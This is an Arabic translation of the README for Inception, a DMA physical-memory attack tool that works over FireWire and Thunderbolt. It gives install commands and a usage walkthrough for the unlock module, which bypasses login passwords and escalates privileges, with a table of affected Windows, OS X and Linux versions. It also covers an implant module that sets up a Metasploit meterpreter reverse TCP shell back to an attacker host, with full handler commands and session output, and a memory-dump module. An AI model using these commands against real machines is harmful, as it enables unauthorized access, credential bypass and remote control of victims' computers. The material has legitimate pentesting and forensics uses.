
Inception هي أداة للتلاعب بالذاكرة الفيزيائية والاختراق تستغل تقنية DMA القائمة على PCI. يمكن للأداة الهجوم عبر واجهات FireWire وThunderbolt وExpressCard وPC Card وأي واجهات PCI/PCIe أخرى.
ملاحظة: لم تعد هذه الأداة قيد التطوير النشط، يرجى الاطلاع على PCILeech بدلاً من ذلك.
Inception هي أداة للتلاعب بالذاكرة الفعلية والقرصنة تستغل تقنية DMA القائمة على PCI. يمكن للأداة الهجوم عبر واجهات FireWire وThunderbolt وExpressCard وPC Card وأي واجهات أجهزة (HW) أخرى من نوع PCI/PCIe.
تهدف Inception إلى توفير طريقة سريعة نسبياً ومستقرة وسهلة وقابلة للتوسعة لتنفيذ اختراقات ذاكرة تطفلية وغير تطفلية ضد أجهزة كمبيوتر قيد التشغيل باستخدام DMA.
تعمل وحدات Inception على النحو التالي: من خلال تقديم دليل وحدة Serial Bus Protocol 2 (SBP-2) إلى الجهاز الضحية عبر واجهة IEEE1394 FireWire، يعتقد نظام تشغيل الضحية أن جهاز SBP-2 قد اتصل بمنفذ FireWire. وبما أن أجهزة SBP-2 تستخدم الوصول المباشر للذاكرة (DMA) لإجراء عمليات نقل بيانات سريعة وضخمة (مثل محركات الأقراص الصلبة من نوع FireWire وكاميرات الفيديو الرقمية)، تخفض الضحية دروعها وتمكّن DMA للجهاز. تمتلك الأداة الآن وصولاً كاملاً للقراءة/الكتابة إلى أول 4GB من ذاكرة الوصول العشوائي (RAM) على الجهاز الضحية.
بمجرد منح DMA، تواصل الأداة البحث في صفحات الذاكرة المتاحة عن تواقيع عند إزاحات معينة في كود نظام التشغيل. وبمجرد العثور عليها، تقوم الأداة بالتلاعب بهذا الكود. على سبيل المثال، في وحدة unlock، تقوم الأداة بقصر دائرة وحدة مصادقة كلمة المرور في نظام التشغيل التي يتم تشغيلها عند إدخال كلمة مرور غير صحيحة.
بعد تشغيل تلك الوحدة، يجب أن تكون قادراً على تسجيل الدخول إلى الجهاز الضحية باستخدام أي كلمة مرور.
التشبيه المناسب لهذه العملية هو زرع فكرة في ذاكرة الجهاز؛ فكرة أن كل كلمة مرور صحيحة. بمعنى آخر، ما يعادل [غرس فكرة في الذاكرة] 1.
Inception مجانية (free as in beer) وهي مشروع جانبي خاص بي.
يستخدم خبراء الطب الشرعي الرقمي والحكومات والوكالات ذات الاختصارات ثلاثية الأحرف في العالم [أدوات مشابهة] 2 بالفعل. لذا إذا كنت معارضاً أو تواجه نظاماً قمعياً، توضح هذه الأداة سبب أهمية OPSEC. لا تترك حاسوبك المحمول بعيداً عن ناظريك أبداً.
يعطّل كل من [OS X > 10.7.2] 6 و[Windows > 8.1] 7 خاصية FireWire DMA عندما يقوم المستخدم بقفل نظام التشغيل، وبالتالي يمنعان عمل Inception. ستظل الأداة تعمل بينما يكون المستخدم مسجلاً الدخول. ومع ذلك، فإن سيناريو الهجوم هذا أقل احتمالاً في الحياة الواقعية (IRL).
بالإضافة إلى ذلك، فعّلت [OS X Mavericks > 10.8.2 على Ivy Bridge (أجهزة Mac >= 2012)] 8 تقنية VT-D، مما يحجب طلبات DMA بشكل فعال ويُحبط جميع وحدات Inception حتى عندما يكون المستخدم مسجلاً الدخول. ابحث عن إدخالات vtd[0] fault في السجل/وحدة التحكم الخاصة بك.
على الرغم من أن هذين التحفظين سيقللان تدريجياً من عدد السيناريوهات التي تكون فيها هذه الأداة مفيدة، إلا أنه اعتباراً من مارس 2015 [لا تزال 70 % من الأجهزة الموجودة معرضة للخطر] 9.
تستخدم الأداة مكتبة libforensic1394 بفضل Freddie Witherden بموجب ترخيص LGPL.
تتطلب Inception:
يُنصح حالياً باستخدام Linux على جانب المهاجم بسبب واجهات firewire المعطوبة على OS X. لاحظ أن الاتصال المباشر ThunderBolt إلى ThunderBolt لا يعمل، فأنت بحاجة إلى محول FireWire. قد تختلف النتائج عند محاولة استخدام Thunderbolt على Linux.
في التوزيعات المبنية على Debian، يمكن تلخيص أوامر التثبيت على النحو التالي (طبّق sudo عند الحاجة إذا لم تكن مستخدماً جذرياً (root)):
apt-get install git cmake g++ python3 python3-pip
على OS X، يمكنك تثبيت متطلبات الأداة باستخدام [homebrew] 4:
brew install git cmake python3
بعد تثبيت المتطلبات، قم بتنزيل وتثبيت libforensic1394:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
يجب أن يكون نص الإعداد قادراً على تثبيت التبعيات إذا كان لديك pip مثبتاً.
ما عليك سوى كتابة:
incept [module name]
للحصول على وصف أكثر اكتمالاً وتحديثاً، يرجى تشغيل:
incept -h
أو راجع [الصفحة الرئيسية للأداة] 5.
اعتباراً من الإصدار 0.4.0، تم تحويل Inception إلى وحدات. الوحدات الحالية ووظائفها موصوفة أدناه.
للحصول على خيارات مفصلة حول الاستخدام، قم بتشغيل:
incept [module name] -h
يمكن لوحدة unlock فتح القفل (قبول أي كلمة مرور) ورفع الامتيازات إلى Administrator/root على أي جهاز قيد التشغيل تقريباً* لديك وصول مادي إليه. صُممت الوحدة في المقام الأول لتفعل سحرها ضد أجهزة الكمبيوتر التي تستخدم تشفير القرص الكامل مثل BitLocker وFileVault وTrueCrypt أو Pointsec. هناك الكثير من الطرق الأخرى (والأفضل) لاختراق جهاز لا يحتوي على تشفير.
وحدة unlock مستقرة على الأجهزة التي تحتوي على 4 غيغابايت (GiB) من الذاكرة الرئيسية أو أقل. إذا كان هدفك يحتوي على أكثر من ذلك، فستحتاج إلى الحظ من أجل العثور على التواقيع المرتبطة بإطار صفحة ذاكرة فعلية يمكن للأداة الوصول إليه.
اعتباراً من هذا الإصدار، يمكنها فتح أنظمة التشغيل x86 وx64 التالية:
(1): انظر التحفظات أعلاه.
قد تعمل توزيعات Linux الأخرى التي تستخدم مصادقة قائمة على PAM أيضاً باستخدام تواقيع Ubuntu.
تعمل الوحدة أيضاً على تمكين رفع الامتيازات بفعالية، على سبيل المثال عبر الأمرين runas أو sudo -s، على التوالي.
لفتح القفل، ما عليك سوى كتابة:
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):
[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation
[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============> ] 227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
تزرع وحدة implant حمولة Metasploit (مقتصرة على الذاكرة) مباشرة في الذاكرة المتطايرة للجهاز الهدف. وتتكامل مع MSF عبر البرنامج الخفي msfrpcd المضمّن في جميع إصدارات Metasploit.
يعمل الإصدار الحالي فقط كإثبات للمفهوم (proof-of-concept) ضد Windows 7 SP1 x86. لا يتم دعم أي أنظمة تشغيل أو إصدارات أو بنى أخرى، ولا يوجد أي ضمان بأنها ستدعم في المستقبل.
لاستخدامها، ابدأ msfrpcd:
msfrpcd -P [password]
ثم شغّل Inception في طرفية أخرى:
incept implant --msfpw [password] --msfopts [options]
كمثال، لإنشاء قشرة meterpreter TCP عكسية من الجهاز الهدف إلى مضيفك المهاجم، ابدأ أولاً البرنامج الخفي msfrpcd، ثم شغّل وحدة تحكم تستمع لعمليات الاستدعاء (callbacks).
msfrpcd -P password
msfconsole
في وحدة التحكم، نقوم بتكوين الطرف المستقبِل للحمولة. نقوم بتعيين خيار EXITFUNC إلى thread لضمان بقاء العملية الهدف حية إذا حدث خطأ ما:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j
ثم، في طرفية أخرى، نقوم بتشغيل Inception:
incept implant --msfpw password --msfopts LHOST=172.16.1.1
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
x86. No other OSes, versions or architectures are supported, nor is there
any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================> ] 537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================> ] 434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
في وحدة تحكم MSF الخاصة بك، يجب أن ترى شيئاً مشابهاً لما يلي:
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
تسهّل وحدة dump تفريغ الذاكرة من الهدف إلى المضيف المهاجم.
incept dump
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
يرجى الاطلاع على التعليقات في الأعلى وعلى [الصفحة الرئيسية للأداة] 5.
يرجى الاطلاع على [الصفحة الرئيسية للأداة] 5.
لا تفعل الشر بهذه الأداة. أيضاً، أنا مختبِر اختراق (pentester) وليس مطوراً. لذا إذا رأيت كوداً غريباً يزعج حاسة النقاء البايثونية لديك، أرسل لي ملاحظة حول كيفية تحسينه. أو حتى أفضل، انسخ (fork) الكود الخاص بي وعدّله وقدّم طلب سحب (pull request).
| نظام التشغيل | الإصدار | فتح شاشة القفل | رفع الامتيازات |
|---|
| Windows 8 | 8.1 | نعم (1) | نعم (1) |
| Windows 8 | 8.0 | نعم | نعم |
| Windows 7 | SP1 | نعم | نعم |
| Windows 7 | SP0 | نعم | نعم |
| Windows Vista | SP2 | نعم | نعم |
| Windows Vista | SP1 | نعم | نعم |
| Windows Vista | SP0 | نعم | نعم |
| Windows XP | SP3 | نعم | نعم |
| Windows XP | SP2 | نعم | نعم |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | نعم (1) | نعم (1) |
| Mac OS X | Mountain Lion | نعم (1) | نعم (1) |
| Mac OS X | Lion | نعم (1) | نعم (1) |
| Mac OS X | Snow Leopard | نعم | نعم |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | نعم | نعم |
| Ubuntu | Raring | نعم | نعم |
| Ubuntu | Quantal | نعم | نعم |
| Ubuntu | Precise | نعم | نعم |
| Ubuntu | Oneiric | نعم | نعم |
| Ubuntu | Natty | نعم | نعم |
| Linux Mint | 13 | نعم | نعم |
| Linux Mint | 12 | نعم | نعم |
| Linux Mint | 12 | نعم | نعم |